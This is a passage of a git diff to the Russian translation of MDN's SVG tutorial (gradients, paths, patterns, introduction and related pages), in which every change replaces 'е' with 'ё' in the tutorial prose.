прозрачно-чёрного в середине и заканчивается синим цветом. Вы можете вставить столько стоп-цветов, сколько нужно, чтобы создать смесь, которая будет красивой или ужасной, как вам нужно. Границы всегда должны изменяться от 0% (или от 0, если вы хотите опустить знак %) до 100% (или 1). Повторяющиеся значения будут использовать стоп, который будет находится дальше всех по XML-дереву. Также, подобно заливке и обводке, вы можете определить атрибут <code>stop-opacity, </code>чтобы задать прозрачность в этой позиции (опять же, в FF3+ можно также использовать rgba-значения для этого).</p> <pre class="eval notranslate"> <stop offset="100%" stop-color="yellow" stop-opacity="0.5"/> </pre> @@ -95,9 +95,9 @@ translation_of: Web/SVG/Tutorial/Gradients <p>{{ EmbedLiveSample('Basic_example_2','120','240','/files/726/SVG_Radial_Gradient_Example.png') }}</p> -<p>Атрибуты <strong>stop</strong>, используемые здесь - отвечают за то же, что и в линейных градиентах. Однако сейчас объект будет красным в центре и постепенно меняться к синему цвету, "двигаясь" к краям. Как и линейный градиент, элемент <code><radialGradient></code> может иметь несколько атрибутов, описывающих его позицию и ориентацию (направленность?). Однако, в отличие от линейных градиентов, радиальные немного сложнее. Радиальные градиенты задаются двумя "точками", которые определят где будут границы. Первая "точка" определяет окружность, где градиент заканчивается. Для этого нам потребуется центр круга, который обозначается как <strong>cx</strong> и <strong>cy</strong>, и радиус - <strong>r</strong>. Изменяя эти атрибуты, вы можете "двигать" внешнюю границу градиента и менять ее размер, как показано во втором прямоугольнике выше.</p> +<p>Атрибуты <strong>stop</strong>, используемые здесь - отвечают за то же, что и в линейных градиентах. Однако сейчас объект будет красным в центре и постепенно меняться к синему цвету, "двигаясь" к краям. Как и линейный градиент, элемент <code><radialGradient></code> может иметь несколько атрибутов, описывающих его позицию и ориентацию (направленность?). Однако, в отличие от линейных градиентов, радиальные немного сложнее. Радиальные градиенты задаются двумя "точками", которые определят где будут границы. Первая "точка" определяет окружность, где градиент заканчивается. Для этого нам потребуется центр круга, который обозначается как <strong>cx</strong> и <strong>cy</strong>, и радиус - <strong>r</strong>. Изменяя эти атрибуты, вы можете "двигать" внешнюю границу градиента и менять её размер, как показано во втором прямоугольнике выше.</p> -<p>Вторая "точка" называется <strong>фокальной</strong> и задается атрибутами <strong>fx</strong> и <strong>fy</strong>. В то время как первые "точки" указывают на внешнюю границу градиента, фокальная "точка" определяет где должна быть его <strong>середина</strong>. Это легко увидеть на примере.</p> +<p>Вторая "точка" называется <strong>фокальной</strong> и задаётся атрибутами <strong>fx</strong> и <strong>fy</strong>. В то время как первые "точки" указывают на внешнюю границу градиента, фокальная "точка" определяет где должна быть его <strong>середина</strong>. Это легко увидеть на примере.</p> <h3 id="Center_and_focal_point">Center and focal point</h3> @@ -128,7 +128,7 @@ translation_of: Web/SVG/Tutorial/Gradients <p>Если фокальная точка передвинута за границы круга, то градиент будет отрисован некорректно. Поэтому фокальная точка обязательно должна быть внутри границы круга (или на самой границе). Если фокальная точка не указана, то по дефолту она совпадает с центром круга.</p> -<p>Линейный и радиальный градиенты также принимают несколько атрибутов, описывающих как они могут изменяться. Единственный атрибут, о котором я хотел бы рассказать более подробно - это <strong><code>spreadMethod</code></strong><code>. Этот атрибут указывает, что должно происходить, когда градиент "достигает" внешней границы градиента, но объект еще не заполнен. Аттрибут может принимать одно и трех значений:</code>"pad", "reflect", или"repeat". "<strong>Pad</strong>" - это то что вы пока что видели: когда градиент достигает "краев", финальный цвет используется для заполнения оставшейся области. "Reflect" - градиент продолжает "двигаться" в "зеркальном" отражении (стартовый цвет берется из 100%, а конечный из 0%). А затем снова "переворачивается". И так до тех пор пока не достигнет края.</p> +<p>Линейный и радиальный градиенты также принимают несколько атрибутов, описывающих как они могут изменяться. Единственный атрибут, о котором я хотел бы рассказать более подробно - это <strong><code>spreadMethod</code></strong><code>. Этот атрибут указывает, что должно происходить, когда градиент "достигает" внешней границы градиента, но объект ещё не заполнен. Аттрибут может принимать одно и трёх значений:</code>"pad", "reflect", или"repeat". "<strong>Pad</strong>" - это то что вы пока что видели: когда градиент достигает "краёв", финальный цвет используется для заполнения оставшейся области. "Reflect" - градиент продолжает "двигаться" в "зеркальном" отражении (стартовый цвет берётся из 100%, а конечный из 0%). А затем снова "переворачивается". И так до тех пор пока не достигнет края.</p> <h3 id="spreadMethod">spreadMethod</h3> @@ -176,6 +176,6 @@ translation_of: Web/SVG/Tutorial/Gradients <p>Вы также можете применить иную трансформацию к градиенту, используя атрибут <strong><code>gradientTransform</code></strong>, но мы пока что <a href="/en-US/Web/SVG/Tutorial/Basic_Transformations">его не изучали</a>, я оставлю это на потом.<br> <br> Существуют и другие предостережения для работы с <br> - <code>gradientUnits="objectBoundingBox"</code>, когда поле ограничения объекта не является квадратным, но они довольно сложны и им придется ждать, пока кто-то другой не соизволит объяснить их.</p> + <code>gradientUnits="objectBoundingBox"</code>, когда поле ограничения объекта не является квадратным, но они довольно сложны и им придётся ждать, пока кто-то другой не соизволит объяснить их.</p> <p>{{ PreviousNext("Web/SVG/Tutorial/Fills_and_Strokes", "Web/SVG/Tutorial/Patterns") }}</p> diff --git a/files/ru/web/svg/tutorial/introduction/index.html b/files/ru/web/svg/tutorial/introduction/index.html index a3c0f8e0e5..4043b9238a 100644 --- a/files/ru/web/svg/tutorial/introduction/index.html +++ b/files/ru/web/svg/tutorial/introduction/index.html @@ -9,9 +9,9 @@ original_slug: Web/SVG/Tutorial/Введение --- <p>{{ PreviousNext("Web/SVG/Руководство", "Web/SVG/Руководство/Введение") }}</p> -<p><img alt="" class="internal" src="/@api/deki/files/348/=SVG_Overview.png" style="float: right; height: 418px; width: 235px;"><a href="/en-US/SVG" title="en-US/SVG">SVG</a> это язык <a href="/en-US/XML" title="en-US/XML">XML</a> разметки, схожий с <a href="/en-US/XHTML" title="en-US/XHTML">XHTML</a>, который может использоваться для рисования векторной графики, такой как та, что показана справа. Он может быть использован для создания изображения путем указания всех необходимых линий и форм, путем модификации уже существующих растровых изображений, или путем комбинации обоих. Изображения и их компоненты также могут быть трансформированы, собраны вместе, или отфильтрованы чтобы полностью изменить их внешний вид.</p> +<p><img alt="" class="internal" src="/@api/deki/files/348/=SVG_Overview.png" style="float: right; height: 418px; width: 235px;"><a href="/en-US/SVG" title="en-US/SVG">SVG</a> это язык <a href="/en-US/XML" title="en-US/XML">XML</a> разметки, схожий с <a href="/en-US/XHTML" title="en-US/XHTML">XHTML</a>, который может использоваться для рисования векторной графики, такой как та, что показана справа. Он может быть использован для создания изображения путём указания всех необходимых линий и форм, путём модификации уже существующих растровых изображений, или путём комбинации обоих. Изображения и их компоненты также могут быть трансформированы, собраны вместе, или отфильтрованы чтобы полностью изменить их внешний вид.</p> -<p>В 1999 году, после конкурса нескольких форматов, SVG был включен в <a class="external" href="http://www.w3.org" title="en-US/W3C">W3C</a>, однако полностью ратифицирован не был. SVG поддерживается всеми наиболее популярными <a class="external" href="https://caniuse.com/#search=svg" title="en-US/W3C">браузерами</a>. Недостатком использования SVG является его медленная загрузка . При этом SVG дает некоторые преимущества, такие как наличие соответствующего <a href="/en-US/docs/Web/API">DOM interface</a>, и отсутствие необходимости в стороннем расширении. Использовать данное решение или нет, часто зависит от конкретного случая применения.</p> +<p>В 1999 году, после конкурса нескольких форматов, SVG был включён в <a class="external" href="http://www.w3.org" title="en-US/W3C">W3C</a>, однако полностью ратифицирован не был. SVG поддерживается всеми наиболее популярными <a class="external" href="https://caniuse.com/#search=svg" title="en-US/W3C">браузерами</a>. Недостатком использования SVG является его медленная загрузка . При этом SVG даёт некоторые преимущества, такие как наличие соответствующего <a href="/en-US/docs/Web/API">DOM interface</a>, и отсутствие необходимости в стороннем расширении. Использовать данное решение или нет, часто зависит от конкретного случая применения.</p> <h3 id="Базовые_компоненты">Базовые компоненты</h3> @@ -21,9 +21,9 @@ original_slug: Web/SVG/Tutorial/Введение <h3 id="Before_you_start" name="Before_you_start">До начала работы</h3> -<p>Существует ряд приложений для рисования, такие как <a class="external" href="http://www.inkscape.org/">Inkscape</a>, который свободный и использует SVG в качестве родного файлового формата. Однако, это руководство полагается только на надежный XML или текстовый редактор (на ваш выбор). Идея в том, чтобы обучить основам SVG тех, кто хочет понять его, и это лучше всего сделать, самостоятельно поработав с разметкой. При этом вы должны знать свою конечную цель. Не все программы просмотра SVG одинаковы, и поэтому существует высокий шанс того, что написанное для одного приложения не будет отображаться таким же образом в другом, просто потому что они поддерживают разные уровни SVG детализации или другую детализацию, которую вы используете наряду с SVG (такую как, <a href="/en-US/JavaScript" title="en-US/JavaScript">JavaScript</a> или <a href="/en-US/CSS" title="en-US/CSS">CSS</a>).</p> +<p>Существует ряд приложений для рисования, такие как <a class="external" href="http://www.inkscape.org/">Inkscape</a>, который свободный и использует SVG в качестве родного файлового формата. Однако, это руководство полагается только на надёжный XML или текстовый редактор (на ваш выбор). Идея в том, чтобы обучить основам SVG тех, кто хочет понять его, и это лучше всего сделать, самостоятельно поработав с разметкой. При этом вы должны знать свою конечную цель. Не все программы просмотра SVG одинаковы, и поэтому существует высокий шанс того, что написанное для одного приложения не будет отображаться таким же образом в другом, просто потому что они поддерживают разные уровни SVG детализации или другую детализацию, которую вы используете наряду с SVG (такую как, <a href="/en-US/JavaScript" title="en-US/JavaScript">JavaScript</a> или <a href="/en-US/CSS" title="en-US/CSS">CSS</a>).</p> -<p>SVG поддерживается всеми современными браузерами и даже, в некоторых случаях, паре их устаревших версий. Достаточно полную таблицу поддерживающих браузеров можно найти в <a href="http://caniuse.com/svg">Can I use</a>. Firefox поддерживает некоторый контент SVG, начиная с версии 1.5, и этот уровень поддержки растет с каждым новым выпуском. К счастью, наряду с этим руководством, MDN может помочь разработчикам не отставать от изменений между Gecko и некоторыми другими основными реализациями.</p> +<p>SVG поддерживается всеми современными браузерами и даже, в некоторых случаях, паре их устаревших версий. Достаточно полную таблицу поддерживающих браузеров можно найти в <a href="http://caniuse.com/svg">Can I use</a>. Firefox поддерживает некоторый контент SVG, начиная с версии 1.5, и этот уровень поддержки растёт с каждым новым выпуском. К счастью, наряду с этим руководством, MDN может помочь разработчикам не отставать от изменений между Gecko и некоторыми другими основными реализациями.</p> <p>Перед тем как начать, вы должны иметь основное понимание XML или другого языка разметки, такого как <abbr title="HyperText Markup Language">HTML</abbr>. Если вы не очень знакомы с XML, ниже имеются некоторые рекомендации, которые следует иметь ввиду:</p> @@ -32,13 +32,13 @@ original_slug: Web/SVG/Tutorial/Введение <li>Значения атрибутов в SVG должны быть помещены внутри кавычек, даже если они являются цифрами.</li> </ul> -<p>SVG имеет довольно большую спецификацию. Это руководство охватывает только основы. После ознакомления с ними, тебе следует использовать <a href="/ru/docs/Web/SVG/%D0%AD%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82">Справочник SVG элементов</a> и <a href="/ru/docs/DOM/DOM_Reference#SVG_интерфейсы">SVG интерфейсы</a>, чтобы найти что-либо еще при необходимости.</p> +<p>SVG имеет довольно большую спецификацию. Это руководство охватывает только основы. После ознакомления с ними, тебе следует использовать <a href="/ru/docs/Web/SVG/%D0%AD%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82">Справочник SVG элементов</a> и <a href="/ru/docs/DOM/DOM_Reference#SVG_интерфейсы">SVG интерфейсы</a>, чтобы найти что-либо ещё при необходимости.</p> <h3 id="Особенности_SVG">Особенности SVG</h3> <p>Начиная с рекомендации 2003 года, самой свежей "полной" версией SVG является версия 1.1. Она построена на SVG 1.0, но содержит также больше модульности для упрощения реализации. <a href="http://www.w3.org/TR/SVG/">Второй выпуск SVG 1.1</a> стал Рекомендацией в 2011 году. "Полная" версия SVG 1.2 стала следующим главным выпуском SVG. Ей пришла на смену развивающаяся <a href="http://www.w3.org/TR/SVG2/">SVG 2.0</a>, которая сейчас усиленно разрабатывается и следует схожему с CSS 3 подходу, в котором она разделяет компоненты в несколько свободно связанных специфирований.</p> -<p>Кроме полных рекомендаций SVG, рабочая группа при W3C ввела SVG Tiny и SVG Basic в 2003 году. Эти две версии нацелены главным образом на мобильные устройства. Первый, SVG Tiny, должен выдавать графические примитивы для небольших устройств с низкими возможностями. SVG Basic имеет много общего с полным SVG, но не включает те компоненты, что трудны для реализации или являются тяжелыми для воспроизведения (как анимации). В 2008, SVG Tiny 1.2 стала Рекомендацией W3C.</p> +<p>Кроме полных рекомендаций SVG, рабочая группа при W3C ввела SVG Tiny и SVG Basic в 2003 году. Эти две версии нацелены главным образом на мобильные устройства. Первый, SVG Tiny, должен выдавать графические примитивы для небольших устройств с низкими возможностями. SVG Basic имеет много общего с полным SVG, но не включает те компоненты, что трудны для реализации или являются тяжёлыми для воспроизведения (как анимации). В 2008, SVG Tiny 1.2 стала Рекомендацией W3C.</p> <p>Существовали планы для спецификации SVG Print, которая имела бы поддержку для множества страниц и улучшенное управление цветом. Эта работа была прекращена.</p> diff --git a/files/ru/web/svg/tutorial/paths/index.html b/files/ru/web/svg/tutorial/paths/index.html index ba35db7a9a..05ddefc879 100644 --- a/files/ru/web/svg/tutorial/paths/index.html +++ b/files/ru/web/svg/tutorial/paths/index.html @@ -19,7 +19,7 @@ translation_of: Web/SVG/Tutorial/Paths <h2 id="Команды_линии">Команды линии</h2> -<p>Существуют пять команд линии для узлов <code><path></code>. Первая команда - это "Переместиться к", или M, описанная выше. В качестве параметров она принимает координаты точки, к которой перемещается. Если курсор уже был где-либо на странице, между старым и новым местом линия не появится. Команда "Переместиться к" используется в начале элемента <code><path></code> для указания точки, откуда начнется рисование, например:</p> +<p>Существуют пять команд линии для узлов <code><path></code>. Первая команда - это "Переместиться к", или M, описанная выше. В качестве параметров она принимает координаты точки, к которой перемещается. Если курсор уже был где-либо на странице, между старым и новым местом линия не появится. Команда "Переместиться к" используется в начале элемента <code><path></code> для указания точки, откуда начнётся рисование, например:</p> <pre>M x y </pre> @@ -52,7 +52,7 @@ translation_of: Web/SVG/Tutorial/Paths V y (или v dy) </pre> -<p>Начнем с рисования простой формы, например, прямоугольника (такого же, какой проще нарисовать с помощью элемента <code><rect></code>). Он состоит только из горизонтальных и вертикальных линий<span style="line-height: 1.5;">:</span></p> +<p>Начнём с рисования простой формы, например, прямоугольника (такого же, какой проще нарисовать с помощью элемента <code><rect></code>). Он состоит только из горизонтальных и вертикальных линий<span style="line-height: 1.5;">:</span></p> <p><img alt="" class="internal" src="/@api/deki/files/292/=Path_Line_Commands.png" style="float: right;"></p> @@ -68,7 +68,7 @@ translation_of: Web/SVG/Tutorial/Paths </svg></pre> -<p>Нашу запись в примере выше можно немного сократить , используя команду "Закрыть путь", <code>Z</code>. Эта команда рисует прямую линию от текущего положения обратно к первой точке пути. Она часто встречается в конце узла пути, хотя и не всегда. Для нее регистр буквы не важен.</p> +<p>Нашу запись в примере выше можно немного сократить , используя команду "Закрыть путь", <code>Z</code>. Эта команда рисует прямую линию от текущего положения обратно к первой точке пути. Она часто встречается в конце узла пути, хотя и не всегда. Для неё регистр буквы не важен.</p> <pre> Z (или z) </pre> @@ -83,13 +83,13 @@ translation_of: Web/SVG/Tutorial/Paths <pre class="brush: xml"> <path d="M10 10 h 80 v 80 h -80 Z" fill="transparent" stroke="black"/> </pre> -<p>Путь начнется от точки (10,10), пойдет горизонтально на 80 точек вправо, затем 80 точек вниз, затем 80 точек влево, и затем обратно к старту.</p> +<p>Путь начнётся от точки (10,10), пойдёт горизонтально на 80 точек вправо, затем 80 точек вниз, затем 80 точек влево, и затем обратно к старту.</p> <p>Возможно, в этих примерах было бы проще использовать элементы <code><polygon></code> или <code><polyline></code>.<code> </code>Однако, пути используются при рисовании SVG настолько часто, что многим разработчикам может быть удобнее использовать их вместо других элементов. Нет никакой разницы в производительности при использовании того или другого.</p> <h2 id="Команды_кривых_линий">Команды кривых линий</h2> -<p>Существует три различных команды, которые вы можете использовать для создания плавных кривых линий. Две из этих кривых - кривые Безье, а третья - "дуга", или часть окружности. Вы, возможно, уже имели практический опыт с кривыми Безье, если работали с путями (paths) в программах lnkscape, Illustrator или Photoshop. Для полного описания математических понятий о кривых Безье, попробуйте пройти по ссылке на <a class="external" href="http://en.wikipedia.org/wiki/B%C3%A9zier_curve">Wikipedia</a>. Информации о кривых Безье слишком много, чтобы попытаться охватить ее здесь. Существует бесчисленное множество различных типов кривых Безье, но только две простые доступны для элементов путей: кубическая, C, и квадратная, Q.</p> +<p>Существует три различных команды, которые вы можете использовать для создания плавных кривых линий. Две из этих кривых - кривые Безье, а третья - "дуга", или часть окружности. Вы, возможно, уже имели практический опыт с кривыми Безье, если работали с путями (paths) в программах lnkscape, Illustrator или Photoshop. Для полного описания математических понятий о кривых Безье, попробуйте пройти по ссылке на <a class="external" href="http://en.wikipedia.org/wiki/B%C3%A9zier_curve">Wikipedia</a>. Информации о кривых Безье слишком много, чтобы попытаться охватить её здесь. Существует бесчисленное множество различных типов кривых Безье, но только две простые доступны для элементов путей: кубическая, C, и квадратная, Q.</p> <h3 id="Кривые_Безье">Кривые Безье</h3> @@ -98,7 +98,7 @@ translation_of: Web/SVG/Tutorial/Paths <pre> C x1 y1, x2 y2, x y (or c dx1 dy1, dx2 dy2, dx dy) </pre> -<p>Последний набор координат (x,y) это точка, в которой заканчивается линия. Две другие - контрольные точки. (x1,y1) контрольная точка для начала вашей кривой, а (x2,y2) для конца вашей кривой. Если вы знакомы с вычислительной алгеброй, контрольные точки в описывают наклон вашей линии в каждой точке. Функция Безье создает плавную кривую, которая ведет от наклона, который вы установили в начале вашей линии к наклону на другом конце.</p> +<p>Последний набор координат (x,y) это точка, в которой заканчивается линия. Две другие - контрольные точки. (x1,y1) контрольная точка для начала вашей кривой, а (x2,y2) для конца вашей кривой. Если вы знакомы с вычислительной алгеброй, контрольные точки в описывают наклон вашей линии в каждой точке. Функция Безье создаёт плавную кривую, которая ведёт от наклона, который вы установили в начале вашей линии к наклону на другом конце.</p> <p><img alt="Cubic Bézier Curves with grid" class="internal" src="https://mdn.mozillademos.org/files/10401/Cubic_Bezier_Curves_with_grid.png" style="float: right; height: 160px; width: 190px;"></p> @@ -117,9 +117,9 @@ translation_of: Web/SVG/Tutorial/Paths </svg> </pre> -<p>Пример сверху показывает девять кубических кривых Безье. Чем ближе к левому краю изображения, тем более горизонтально разделенными становятся контрольные точки. Ближе к правому, становятся более отделенными от конечных точек. Стоит отметить, что кривая начинается в направлении первой контрольной точки, а затем изгибается, переходя в направление второй контрольной точки.</p> +<p>Пример сверху показывает девять кубических кривых Безье. Чем ближе к левому краю изображения, тем более горизонтально разделёнными становятся контрольные точки. Ближе к правому, становятся более отделёнными от конечных точек. Стоит отметить, что кривая начинается в направлении первой контрольной точки, а затем изгибается, переходя в направление второй контрольной точки.</p> -<p>Вы можете связать вместе несколько кривых Безье, чтобы создавать более длинные плавные формы. В таком случае часто контрольные точки на разных сторонах будут отображением друг друга (чтобы поддерживать постоянный наклон). В этом случае можно использовать сокращенную запись для кривой Безье, используя команду S (или s).</p> +<p>Вы можете связать вместе несколько кривых Безье, чтобы создавать более длинные плавные формы. В таком случае часто контрольные точки на разных сторонах будут отображением друг друга (чтобы поддерживать постоянный наклон). В этом случае можно использовать сокращённую запись для кривой Безье, используя команду S (или s).</p> <pre> S x2 y2, x y (or s dx2 dy2, dx dy) </pre> @@ -148,7 +148,7 @@ translation_of: Web/SVG/Tutorial/Paths <pre> T x y (or t dx dy) </pre> -<p>Как и ранее, сокращение смотрит на предыдущую контрольную точку, которую вы использовали, и выводит из нее новую. Это означает, что после первой контрольной точки вы можете делать довольно сложные фигуры, указав только конечные точки.</p> +<p>Как и ранее, сокращение смотрит на предыдущую контрольную точку, которую вы использовали, и выводит из неё новую. Это означает, что после первой контрольной точки вы можете делать довольно сложные фигуры, указав только конечные точки.</p> <div class="blockIndicator note"> <p>Обратите внимание, что это работает только в том случае, если предыдущей командой была команда Q или T. Если это не так, то контрольная точка считается той же, что и предыдущая, и вы нарисуете только линии.</p> @@ -229,6 +229,6 @@ translation_of: Web/SVG/Tutorial/Paths <p>Последние два аргумента, если вы ещё не догадались, обозначают координаты x и y, где заканчивается дуга. Дуги - лёгкий способ создавать части кругов или эллипсов в ваших рисунках. Например, круговая диаграмма требует отдельную дугу для каждого куска диаграммы.</p> -<p>Если вы переходите в SVG из Canvas`а, дуги могут быть самой трудной вещью для изучения, но они также очень мощные. Т.к. начальная и конечные точки для любого пути, обходящего круг, одно и то же место, существует бесконечное количество кругов, которые могут быть выбраны и действительный путь не определен. Возможно приблизить их, сделав начальную и конечную точку пути слегка разными и соединив их с другими сегментами пути. В этой точке, часто проще использовать настоящий круг или эллипс. Это интерактивное демо может помочь понять основные принципы SVG-дуг: <a href="http://codepen.io/lingtalfi/pen/yaLWJG">http://codepen.io/lingtalfi/pen/yaLWJG</a> (протестировано только в Chrome и Firefox, может не работать в вашем браузере)</p> +<p>Если вы переходите в SVG из Canvas`а, дуги могут быть самой трудной вещью для изучения, но они также очень мощные. Т.к. начальная и конечные точки для любого пути, обходящего круг, одно и то же место, существует бесконечное количество кругов, которые могут быть выбраны и действительный путь не определён. Возможно приблизить их, сделав начальную и конечную точку пути слегка разными и соединив их с другими сегментами пути. В этой точке, часто проще использовать настоящий круг или эллипс. Это интерактивное демо может помочь понять основные принципы SVG-дуг: <a href="http://codepen.io/lingtalfi/pen/yaLWJG">http://codepen.io/lingtalfi/pen/yaLWJG</a> (протестировано только в Chrome и Firefox, может не работать в вашем браузере)</p> <p>{{ PreviousNext("Web/SVG/Tutorial/Basic_Shapes", "Web/SVG/Tutorial/Fills_and_Strokes") }}</p> diff --git a/files/ru/web/svg/tutorial/patterns/index.html b/files/ru/web/svg/tutorial/patterns/index.html index 4c2e459016..81970ec2f5 100644 --- a/files/ru/web/svg/tutorial/patterns/index.html +++ b/files/ru/web/svg/tutorial/patterns/index.html @@ -7,7 +7,7 @@ translation_of: Web/SVG/Tutorial/Patterns <h2 id="Шаблоны_Patterns">Шаблоны (Patterns)</h2> -<p>Patterns, по моему мнению, одни из самых запутанных типов заполнения (<strong>fill </strong>types) в SVG. Несмотря на это ,они являются очень мощным инструментом, так что о них определенно стоит поговорить и понять хотя бы основные части. Как и градиенты, элементы {{SVGElement('pattern')}} должны быть помещены в секцию <code><defs> в Вашем SVG-файле.</code></p> +<p>Patterns, по моему мнению, одни из самых запутанных типов заполнения (<strong>fill </strong>types) в SVG. Несмотря на это ,они являются очень мощным инструментом, так что о них определённо стоит поговорить и понять хотя бы основные части. Как и градиенты, элементы {{SVGElement('pattern')}} должны быть помещены в секцию <code><defs> в Вашем SVG-файле.</code></p> <pre class="brush: html"><svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> @@ -40,12 +40,12 @@ translation_of: Web/SVG/Tutorial/Patterns <p>В отличие от градиентов, у паттернов есть 2ой атрибут - <code><strong>patternContentUnits</strong>, </code>который описывает единицы измерения, используемые в базовых фигурах внутри элемента <strong>pattern</strong>. Дефолтное значение для этого атрибута - <strong>userSpaceOnUse</strong>, противоположность атрибуту <code><strong>patternUnits</strong>. </code>Это означает, что если Вы не укажете один или оба этих атрибута (<strong><code>patternContentUnits</code> </strong>и/или <strong><code>patternUnits</code></strong>), фигуры, которые Вы будете рисовать внутри блока <<strong>pattern></strong>, будут отрисованы в другой системе координат (отличной от той, которую использует паттерн). Это может немного запутывать, если Вы пишете код вручную.</p> -<p>Чтобы сделать эту работу в приведенном выше примере, нам пришлось рассмотреть размер нашей коробки (200 пикселей) и тот факт, что мы хотели, чтобы рисунок повторялся 4 раза по горизонтали и по вертикали. Это означает, что каждый блок шаблонов был квадратом 50 × 50. Затем два прямоугольника и круг внутри рисунка были рассчитаны на размер в коробке 50x50.<br> - Все, что мы нарисовали вне этой коробки, не было бы показано. Шаблон также должен был быть смещен на 10 пикселей, чтобы он начинался в верхнем левом углу нашего окна, поэтому атрибуты <strong>x</strong> и <strong>y</strong> шаблона должны были быть скорректированы до 10/200 = 0,05.</p> +<p>Чтобы сделать эту работу в приведённом выше примере, нам пришлось рассмотреть размер нашей коробки (200 пикселей) и тот факт, что мы хотели, чтобы рисунок повторялся 4 раза по горизонтали и по вертикали. Это означает, что каждый блок шаблонов был квадратом 50 × 50. Затем два прямоугольника и круг внутри рисунка были рассчитаны на размер в коробке 50x50.<br> + Все, что мы нарисовали вне этой коробки, не было бы показано. Шаблон также должен был быть смещён на 10 пикселей, чтобы он начинался в верхнем левом углу нашего окна, поэтому атрибуты <strong>x</strong> и <strong>y</strong> шаблона должны были быть скорректированы до 10/200 = 0,05.</p> -<p>Здесь предостережение заключается в том, что если объект изменяет размер, сам шаблон будет масштабироваться, чтобы соответствовать ему, но объекты внутри не будут. Таким образом, хотя у нас все еще будет 4 повторяющихся блока внутри шаблона, объекты, составляющие этот шаблон, будут оставаться одного и того же размера, и вы окажетесь в больших областях между ними.<br> +<p>Здесь предостережение заключается в том, что если объект изменяет размер, сам шаблон будет масштабироваться, чтобы соответствовать ему, но объекты внутри не будут. Таким образом, хотя у нас все ещё будет 4 повторяющихся блока внутри шаблона, объекты, составляющие этот шаблон, будут оставаться одного и того же размера, и вы окажетесь в больших областях между ними.<br> Изменяя атрибут <strong><code>patternContentUnits</code></strong> , мы можем поместить все элементы в одну единую систему:</p> <pre class="brush: xml"> <pattern id="Pattern" width=".25" height=".25" patternContentUnits="objectBoundingBox"> @@ -55,7 +55,7 @@ translation_of: Web/SVG/Tutorial/Patterns </pattern> </pre> -<p>Теперь, поскольку содержимое шаблона находится в той же единичной системе, что и шаблон, нам не нужно смещать поле так, чтобы шаблон начинался в правильном месте, и если размер объекта был изменен на более крупный, шаблон автоматически масштабируется так, чтобы в нем было одинаковое количество объектов, повторяющихся внутри него. Это контрастирует с системой <strong>userSpaceOnUse</strong>, где, если объект изменяет размер, шаблон останется прежним и просто повторится больше раз, чтобы заполнить поле.</p> +<p>Теперь, поскольку содержимое шаблона находится в той же единичной системе, что и шаблон, нам не нужно смещать поле так, чтобы шаблон начинался в правильном месте, и если размер объекта был изменён на более крупный, шаблон автоматически масштабируется так, чтобы в нем было одинаковое количество объектов, повторяющихся внутри него. Это контрастирует с системой <strong>userSpaceOnUse</strong>, где, если объект изменяет размер, шаблон останется прежним и просто повторится больше раз, чтобы заполнить поле.</p> <p>Как ни удивительно, но в кругах Gecko, похоже, есть проблемы с рисованием, если их радиус установлен на что-то меньшее 0.075 (хотя их нужно масштабировать, чтобы иметь гораздо больший радиус, чем этот. Это может быть ошибкой только в шаблоне , Или вообще не ошибка, я не уверен).<br> Чтобы обойти это, вероятно, лучше всего избегать рисования блоков «objectBoundingBox», если вам это не нужно.</p> @@ -69,7 +69,7 @@ translation_of: Web/SVG/Tutorial/Patterns </pattern> </pre> -<p>Конечно, это означает, что шаблон не будет масштабироваться, если вы позже измените размер своего объекта. Все три из приведенных выше примеров показаны ниже на прямоугольнике, который слегка удлинен до высоты 300 пикселей, но я должен отметить его не исчерпывающее изображение, и есть другие варианты, доступные в зависимости от вашего приложения.</p> +<p>Конечно, это означает, что шаблон не будет масштабироваться, если вы позже измените размер своего объекта. Все три из приведённых выше примеров показаны ниже на прямоугольнике, который слегка удлинён до высоты 300 пикселей, но я должен отметить его не исчерпывающее изображение, и есть другие варианты, доступные в зависимости от вашего приложения.</p> <p><img alt="Image:SVG_Pattern_Comparison_of_Units.png" class="internal" src="/@api/deki/files/349/=SVG_Pattern_Comparison_of_Units.png"></p> diff --git a/files/ru/web/svg/tutorial/svg_and_css/index.html b/files/ru/web/svg/tutorial/svg_and_css/index.html index 7bdadb6b12..1382c844c6 100644 --- a/files/ru/web/svg/tutorial/svg_and_css/index.html +++ b/files/ru/web/svg/tutorial/svg_and_css/index.html @@ -29,7 +29,7 @@ original_slug: Web/Guide/CSS/Getting_started/SVG_и_CSS <tbody> <tr> <td> - <p>На момент написания статьи (середина 2011 года), большинство современных браузеров имеет базовую поддержку SVG, в том числе Internet Explorer 9 и выше. Некоторые дополнительные возможности SVG не поддерживаются, либо поддерживаются лишь частично, в определенных браузерах. Для более подробной информации о текущей поддержке SVG, см. <a href="http://caniuse.com/#search=SVG">SVG tables on caniuse.com</a>, либо в таблицах совместимости <a href="/en-US/docs/SVG/Element">SVG element reference</a>, для информации о поддержке отдельных элементов.</p> + <p>На момент написания статьи (середина 2011 года), большинство современных браузеров имеет базовую поддержку SVG, в том числе Internet Explorer 9 и выше. Некоторые дополнительные возможности SVG не поддерживаются, либо поддерживаются лишь частично, в определённых браузерах. Для более подробной информации о текущей поддержке SVG, см. <a href="http://caniuse.com/#search=SVG">SVG tables on caniuse.com</a>, либо в таблицах совместимости <a href="/en-US/docs/SVG/Element">SVG element reference</a>, для информации о поддержке отдельных элементов.</p> <p>В остальные версии можно добавить поддержку SVG, установив дополнительный плагин, например, предоставленный компанией <a href="http://www.adobe.com/svg/viewer/install/main.html">Adobe</a>.</p> diff --git a/files/ru/web/svg/tutorial/svg_fonts/index.html b/files/ru/web/svg/tutorial/svg_fonts/index.html index 92cdb57f84..42aba5fd39 100644 --- a/files/ru/web/svg/tutorial/svg_fonts/index.html +++ b/files/ru/web/svg/tutorial/svg_fonts/index.html @@ -5,11 +5,11 @@ translation_of: Web/SVG/Tutorial/SVG_fonts --- <p>{{ PreviousNext("Web/SVG/Tutorial/Filter_effects", "Web/SVG/Tutorial/SVG_Image_Tag") }}</p> -<p>Когда был написан стандарт SVG, поддержка веб-шрифтов еще не была широко распространена в браузерах. Поскольку доступ к правильному файлу шрифта имеет решающее значение для правильного отображения текста, в SVG была добавлена технология описания шрифтов. Она не совместима с другими форматами, такими как PostScript или OTF, это лишь простое средство вложения информации о глифах в SVG при визуализации.<br> +<p>Когда был написан стандарт SVG, поддержка веб-шрифтов ещё не была широко распространена в браузерах. Поскольку доступ к правильному файлу шрифта имеет решающее значение для правильного отображения текста, в SVG была добавлена технология описания 